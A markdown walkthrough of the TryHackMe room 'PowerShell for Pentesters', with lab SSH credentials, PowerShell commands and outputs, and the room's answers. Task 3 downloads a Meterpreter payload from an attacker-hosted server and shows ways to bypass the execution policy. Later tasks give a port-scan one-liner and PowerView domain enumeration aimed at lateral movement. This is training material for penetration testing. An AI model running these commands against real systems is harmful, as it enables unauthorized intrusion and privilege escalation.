Skip to content

PowerShell_for_Pentesters.md

Latest commit

 

History

History
488 lines (355 loc) · 19.1 KB

PowerShell_for_Pentesters.md

File metadata and controls

488 lines (355 loc) · 19.1 KB
Raw

PowerShell for Pentesters

Room information

Type: Walkthrough
Difficulty: Medium
Tags: Windows
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Premium
Description:
This room covers the principle uses of PowerShell in Penetration Tests. Interacting with files, 
scanning the network and system enumeration are covered.

Room link: https://tryhackme.com/room/powershellforpentesters

Solution

Task 1 - Intro

Use the AttackBox or connect using ssh with the credentials walter:Kowacs123!

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Medium/PowerShell_for_Pentesters]
└─$ ssh walter@10.10.30.55        
The authenticity of host '10.10.30.55 (10.10.30.55)' can't be established.
ED25519 key fingerprint is SHA256:P3R4SLyVeW/VTvHXEhtYBLa1GQ2/cq953vSXLCAB1ek.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.30.55' (ED25519) to the list of known hosts.
walter@10.10.30.55's password: 

<---snip---> 

Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

watch\walter@WATCHMAN-DC C:\Users\Walter>powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Walter>

What useful PowerShell script did you find on Walter's desktop?

PS C:\Users\Walter> cd .\Desktop\ 
PS C:\Users\Walter\Desktop> Get-ChildItem 


    Directory: C:\Users\Walter\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/21/2016   3:36 PM            527 EC2 Feedback.website
-a----        6/21/2016   3:36 PM            554 EC2 Microsoft Windows Guide.website
-a----        5/15/2021  12:10 PM         791195 powerview.ps1


PS C:\Users\Walter\Desktop>

Answer: powerview.ps1

Task 2 - Manipulating files

Some useful cmdlets:

  • Start-Process
  • Get-Process
  • Export-Csv
  • Get-Content
  • Copy-Item
  • Get-FileHash

What is the MD5 hash value of the file on Walter's desktop?

Hint: "Get the filehash"

PS C:\Users\Walter\Desktop> Get-FileHash -Algorithm MD5 .\powerview.ps1 

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             501570FFBA7FACE69D61DA1A0843E89A                                       C:\Users\Walter\Desktop\powerview.ps1


PS C:\Users\Walter\Desktop> (Get-FileHash -Algorithm MD5 .\powerview.ps1).Hash 
501570FFBA7FACE69D61DA1A0843E89A

Answer: 501570FFBA7FACE69D61DA1A0843E89A

Task 3 - Downloading files

Downloading files can be done in numerous ways. One of the quickest ways is to use HTTP.

Share the file(s) via Pythons HTTP-server module

python3 -m http.server 8888

Then download files as follows

(New-Object System.Net.WebClient).DownloadFile('http://10.0.2.8:8888/meterpreter-64.ps1', 'meterpreter.ps1')

or with

Invoke-WebRequest 'http://10.0.2.8:8888/meterpreter-64.ps1' -OutFile 'meterpreter2.ps1'

Before running the file we need to note the ExecutionPolicy.

The current state of the ExecutionPolicy configuration can be seen using Get-ExecutionPolicy -list

Execution policies can have seven different values:

  1. AllSigned: Scripts can run but require all scripts to be signed by a trusted publisher.
  2. Bypass: All scripts can run, and no warnings or prompts will be displayed.
  3. Default: This refers to “restricted” for Windows clients and “RemoteSigned” for Windows servers.
  4. RemoteSigned: Scripts can run, and this does not require local scripts to be digitally signed.
  5. Restricted: The default configuration for Windows clients. Allows individual commands to run, does not allow scripts.
  6. Undefined: This shows that no specific execution policy was set. This means default execution policies will be enforced.
  7. Unrestricted: Most scripts will run.

Common ways to bypass the ExecutionPolicy are:

  • powershell -ExecutionPolicy Bypass -File .\meterpreter.ps1
  • Set-ExecutionPolicy Bypass -Scope Process and then .\meterpreter.ps1

Task 4 - System Reconnaissance

Finding missing patches can be done with Get-Hotfix.

We set the output format to a list with Get-Hotfix | Format-List or Get-Hotfix | Format-List * if we want to display all properties.

We can save the output to a file with Get-Hotfix | Out-File hotfix.txt.

There are more ways to output

PS C:\Users\Walter\Desktop> Get-Command -Name Out-* 

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Out-Default                                        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Out-File                                           3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Out-GridView                                       3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Out-Host                                           3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Out-Null                                           3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Out-Printer                                        3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Out-String                                         3.1.0.0    Microsoft.PowerShell.Utility

What Windows Security Update was installed on 5/15/2019?

Hint: Get the fix while they are hot

PS C:\Users\Walter\Desktop> Get-HotFix

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
WATCHMAN-DC   Update           KB4601555     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WATCHMAN-DC   Update           KB4470502     NT AUTHORITY\SYSTEM  12/12/2018 12:00:00 AM
WATCHMAN-DC   Security Update  KB4470788     NT AUTHORITY\SYSTEM  12/12/2018 12:00:00 AM
WATCHMAN-DC   Update           KB4480056     NT AUTHORITY\SYSTEM  1/9/2019 12:00:00 AM
WATCHMAN-DC   Update           KB4486153     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB4493510     NT AUTHORITY\SYSTEM  4/21/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4499728     NT AUTHORITY\SYSTEM  5/15/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4504369     NT AUTHORITY\SYSTEM  6/12/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4512577     NT AUTHORITY\SYSTEM  9/11/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4512937     NT AUTHORITY\SYSTEM  9/6/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4521862     NT AUTHORITY\SYSTEM  10/9/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4523204     NT AUTHORITY\SYSTEM  11/13/2019 12:00:00 AM
WATCHMAN-DC   Security Update  KB4535680     NT AUTHORITY\SYSTEM  1/13/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB4539571     NT AUTHORITY\SYSTEM  3/18/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4549947     NT AUTHORITY\SYSTEM  4/15/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4558997     NT AUTHORITY\SYSTEM  7/15/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4562562     NT AUTHORITY\SYSTEM  6/10/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4566424     NT AUTHORITY\SYSTEM  8/12/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4570332     NT AUTHORITY\SYSTEM  9/9/2020 12:00:00 AM
WATCHMAN-DC   Update           KB4577586     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB4577667     NT AUTHORITY\SYSTEM  10/14/2020 12:00:00 AM
WATCHMAN-DC   Security Update  KB4587735     NT AUTHORITY\SYSTEM  11/11/2020 12:00:00 AM
WATCHMAN-DC   Update           KB4589208     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB4598480     NT AUTHORITY\SYSTEM  1/13/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB4601393     NT AUTHORITY\SYSTEM  2/10/2021 12:00:00 AM
WATCHMAN-DC   Security Update  KB5000859     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WATCHMAN-DC   Update           KB5001568     NT AUTHORITY\SYSTEM  3/17/2021 12:00:00 AM


PS C:\Users\Walter\Desktop> Get-HotFix | Where-Object InstalledOn -EQ "5/15/2019"

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
WATCHMAN-DC   Security Update  KB4499728     NT AUTHORITY\SYSTEM  5/15/2019 12:00:00 AM


PS C:\Users\Walter\Desktop> (Get-HotFix | Where-Object InstalledOn -EQ "5/15/2019").HotFixID
KB4499728

Answer: KB4499728

Task 5 - Network Reconnaissance

The following command can be used to ping a given IP range.
In this example, we will ping the IP addresses from 10.0.2.1 to 10.0.2.15

1..15 | % {Write-Output "10.0.2.$_"; ping -n 10.0.2.$_ | Select-String ttl}

A similar command can be built using the existing socket and TCP client functions.
In the example below, we scan the first 1024 TCP ports of the target.
Note that the 2>$null sends any error to null, providing us with a cleaner output.

1..1024 | % {Write-Output ((New-Object Net.Sockets.TcpClient).Connect("10.10.30.55", $_)) "Open port on - $_"} 2>$null

Task 6 - Using PowerView

Before using the cmdlets in PowerView we need to import the module

Import-Module .\powerview.ps1

Sample included cmdlets:

  • Get-NetDomainController
    This command will collect information on the domain controller.
  • Get-NetUser
    This command will provide a list of domain users. The output can be intimidating, so you may consider
    exporting the output to a .csv file or use the out-gridview option.
  • Get-NetComputer
    This command is useful to enumerate systems connected to the domain. This command can also be used with
    the “-ping” parameter to enumerate the systems that are currently online.
  • Get-NetGroup
    Some accounts can be members of important groups, such as domain admins. Knowing which accounts have useful
    privileges or are a member of groups of interest will be useful for lateral movement and privilege escalation.
  • Find-DomainShare
    “Find-DomainShare” will list available shares. Please note we have added the "-CheckShareAccess" option to
    list only readable shares.
  • Get-NetGPO
    Group Policy is used to configure computers connected to the domain. The “Get-NetGPO” command will gather
    information on enforced policies.
  • Find-LocalAdminAccess
    Knowing which systems the current user can access with local administrator privileges can facilitate lateral
    movement. “Find-LocalAdminAccess” will list systems in the domain you may access as a local administrator.

One of the accounts has a special description; what is it?

Hint: Get-NetUser -properties ... ....

PS C:\Users\Walter\Desktop> Import-Module .\powerview.ps1
PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Description

name           description                                              
----           -----------
ServerAdmin    Built-in account for administering the computer/domain
Guest          Built-in account for guest access to the computer/domain
Walter
sshd
krbtgt         Key Distribution Center Service Account
Laurie Jupyter
John Osterman
Adrian Wait
Edward Bake
Sally Silk     IDF-17828290
Ursula Sand
Daniel Triberg

Answer: IDF-17828290

How many accounts are disabled?

Hint: Get-NetUser

PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Useraccountcontrol

name                                                             useraccountcontrol
----                                                             ------------------
ServerAdmin                                                          NORMAL_ACCOUNT
Guest          ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Walter                                         NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
sshd                                           NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
krbtgt                                               ACCOUNTDISABLE, NORMAL_ACCOUNT
Laurie Jupyter                                 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
John Osterman                                                        NORMAL_ACCOUNT
Adrian Wait                                                          NORMAL_ACCOUNT
Edward Bake                                    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Sally Silk                                     NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Ursula Sand                    ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Daniel Triberg                       ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT


PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Useraccountcontrol | where-Object Useraccountcontrol -like ACCOUNTDISABLE*

name                                                             useraccountcontrol 
----                                                             ------------------
Guest          ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
krbtgt                                               ACCOUNTDISABLE, NORMAL_ACCOUNT
Ursula Sand                    ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Daniel Triberg                       ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT


PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Useraccountcontrol | where-Object Useraccountcontrol -like ACCOUNTDISABLE* | measure


Count    : 4
Average  :
Sum      :
Maximum  :
Minimum  :
Property :



PS C:\Users\Walter\Desktop> (Get-NetUser -Properties Name, Useraccountcontrol | where-Object Useraccountcontrol -like ACCOUNTDISABLE* | measure).count
4

Answer: 4

How many users are in the "domain admins" group?

PS C:\Users\Walter\Desktop> Get-NetGroupMember "Domain Admins"                     


GroupDomain             : WATCH.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,OU=Groups,DC=WATCH,DC=local
MemberDomain            : WATCH.local
MemberName              : usand
MemberDistinguishedName : CN=Ursula Sand,CN=Users,DC=WATCH,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-1966530601-3185510712-10604624-1119

GroupDomain             : WATCH.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,OU=Groups,DC=WATCH,DC=local
MemberDomain            : WATCH.local
MemberName              : ssilk
MemberDistinguishedName : CN=Sally Silk,CN=Users,DC=WATCH,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-1966530601-3185510712-10604624-1118

GroupDomain             : WATCH.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,OU=Groups,DC=WATCH,DC=local
MemberDomain            : WATCH.local
MemberName              : ServerAdmin
MemberDistinguishedName : CN=ServerAdmin,CN=Users,DC=WATCH,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-1966530601-3185510712-10604624-500



PS C:\Users\Walter\Desktop> (Get-NetGroupMember "Domain Admins").Count
3

Answer: 3

Which users are in the "domain admins" group? (Listed alphabetically, small, comma-separated, using space)

Hint: We are looking for SAMAccountNames

PS C:\Users\Walter\Desktop> (Get-NetGroupMember "Domain Admins").MemberName
usand
ssilk
ServerAdmin
PS C:\Users\Walter\Desktop> (Get-NetGroupMember "Domain Admins").MemberName | sort
ServerAdmin 
ssilk
usand
PS C:\Users\Walter\Desktop> ((Get-NetGroupMember "Domain Admins").MemberName | sort).tolower()
serveradmin
ssilk
usand
PS C:\Users\Walter\Desktop> ((Get-NetGroupMember "Domain Admins").MemberName | sort).tolower() -join ', '
serveradmin, ssilk, usand

Answer: serveradmin, ssilk, usand

List shares; what is the name of the "interesting" share?

Hint: Invoke them Shares!

PS C:\Users\Walter\Desktop> Find-DomainShare

Name                 Type Remark              ComputerName            
----                 ---- ------              ------------
ADMIN$         2147483648 Remote Admin        WATCHMAN-DC.WATCH.local
C$             2147483648 Default share       WATCHMAN-DC.WATCH.local
IPC$           2147483651 Remote IPC          WATCHMAN-DC.WATCH.local
NETLOGON                0 Logon server share  WATCHMAN-DC.WATCH.local
operationfiles          0                     WATCHMAN-DC.WATCH.local
SYSVOL                  0 Logon server share  WATCHMAN-DC.WATCH.local

Note that the result take a minute or so.

Answer: operationfiles

What is the name of the user-created Group Policy?

Hint: Something is disabled...

PS C:\Users\Walter\Desktop> Get-NetGPO -Properties Name, Displayname, Whenchanged

displayname                       whenchanged           name
-----------                       -----------           ----
Default Domain Policy             5/15/2021 10:57:51 AM {31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers Policy 5/15/2021 10:57:51 AM {6AC1786C-016F-11D2-945F-00C04fB984F9}
Disable WinDef                    5/15/2021 11:21:46 AM {B3BCB206-765F-437E-9826-7F77743EC6C2}


PS C:\Users\Walter\Desktop> Get-NetGPO -Properties Name, Displayname, Whenchanged | Where-Object Displayname -like *disable*

displayname    whenchanged           name
-----------    -----------           ----
Disable WinDef 5/15/2021 11:21:46 AM {B3BCB206-765F-437E-9826-7F77743EC6C2}


PS C:\Users\Walter\Desktop> (Get-NetGPO -Properties Name, Displayname, Whenchanged | Where-Object Displayname -like *disable*).displayname
Disable WinDef

Answer: Disable WinDef

What are the first names of users' whose accounts were disabled? (Sorted alphabetically, small, comma-separated, using space)

Hint: Look at the cn value

PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Useraccountcontrol | where-Object Useraccountcontrol -like ACCOUNTDISABLE*

name                                                             useraccountcontrol
----                                                             ------------------
Guest          ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
krbtgt                                               ACCOUNTDISABLE, NORMAL_ACCOUNT
Ursula Sand                    ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Daniel Triberg                       ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT


PS C:\Users\Walter\Desktop> Get-NetUser -Properties Name, Useraccountcontrol | where-Object Useraccountcontrol -like ACCOUNTDISABLE* | select Name

name
----
Guest
krbtgt
Ursula Sand
Daniel Triberg

Answer: daniel, ursula

For additional information, please see the references below.

References